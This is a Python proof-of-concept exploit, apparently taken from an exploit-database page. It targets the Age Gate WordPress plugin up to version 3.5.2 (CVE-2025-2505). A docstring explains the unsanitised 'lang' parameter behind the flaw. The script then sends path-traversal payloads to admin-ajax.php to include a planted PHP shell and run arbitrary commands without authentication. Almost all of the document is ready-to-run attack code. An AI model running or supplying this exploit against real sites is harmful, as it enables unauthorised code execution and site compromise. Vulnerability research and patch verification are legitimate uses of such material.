## https://sploitus.com/exploit?id=PACKETSTORM:226444
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin Age Gate <= 3.5.2 - Unauthenticated Local File Inclusion to RCE
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/age-gate/
# Software Link: https://downloads.wordpress.org/plugin/age-gate.3.5.2.zip
# Version: 3.5.2 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2025-2505
"""CVE-2025-2505 โ Age Gate <= 3.5.2 โ Unauthenticated Local File Inclusion -> RCE
Blackbox HTTP exploit against a real WordPress + Age Gate install.
Root cause: the age-check endpoint reads `age_gate[lang]` from the request
(`vendor/agegate/common/src/Settings.php`) with no sanitization, and the validator includes a
language file built from it (`vendor/asylum/validation/src/Validator.php:754`):
$lang_file = __DIR__.DIRECTORY_SEPARATOR.'lang'.DIRECTORY_SEPARATOR.$this->lang.'.php';
$messages = include $lang_file;
`.php` is appended, so this is a PHP Local File Inclusion: a path-traversal `lang` value that
points at an attacker-controlled `.php` on disk gets included and executed. Reachable
unauthenticated via `wp_ajax_nopriv_ag_check` (src/Legacy/Check.php:20) or the REST route
`/wp-json/age-gate/v3/check` (`permission_callback => '__return_true'`). The include is on the
validation-error path, so we deliberately omit the age fields to force it.
PRIOR STATE (see setup_state.sh): an attacker-controlled `.php` must exist on disk โ e.g. an
image/avatar/media upload, a poisoned file, or any write primitive. This PoC uses
`wp-content/uploads/agshell.php` planted as prior state.
Usage:
./setup_state.sh # plant the attacker .php in uploads (prior state)
python3 CVE-2025-2505_age-gate.py --target http://localhost:8090 --shell-relpath wp-content/uploads/agshell --cmd 'id'
"""
import argparse, sys
import requests
requests.packages.urllib3.disable_warnings()
def try_lfi(base, depth, shell_relpath, cmd):
trav = "../" * depth + shell_relpath
url = base.rstrip("/") + "/wp-admin/admin-ajax.php"
r = requests.post(url, params={"c": cmd},
data={"action": "ag_check", "age_gate[lang]": trav},
timeout=20, verify=False)
return r.text
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--shell-relpath", default="wp-content/uploads/agshell",
help="path of the planted .php WITHOUT the .php suffix (the plugin appends it)")
ap.add_argument("--cmd", default="id")
ap.add_argument("--marker", default="AGELFI_PWNED_2505")
args = ap.parse_args()
print(f"[*] Target: {args.target}")
print(f"[*] LFI via age_gate[lang] traversal -> {args.shell_relpath}.php (cmd: {args.cmd})")
# the traversal depth from the validator's lang/ dir varies; sweep a small range
for depth in range(6, 12):
body = try_lfi(args.target, depth, args.shell_relpath, args.cmd)
if args.marker in body:
out = body.split(args.marker, 1)[1].split("<p>")[0].strip(": \n")
print(f"\n[+] RCE CONFIRMED (LFI include of attacker .php, unauthenticated). depth={depth}")
print(f"[+] `{args.cmd}` output:\n{'-'*50}\n{out}\n{'-'*50}")
return 0
print(f" depth={depth} -> no marker")
print("\n[-] Not confirmed. Ensure the .php is planted (run setup_state.sh) and path is correct.")
return 1
if __name__ == "__main__":
sys.exit(main())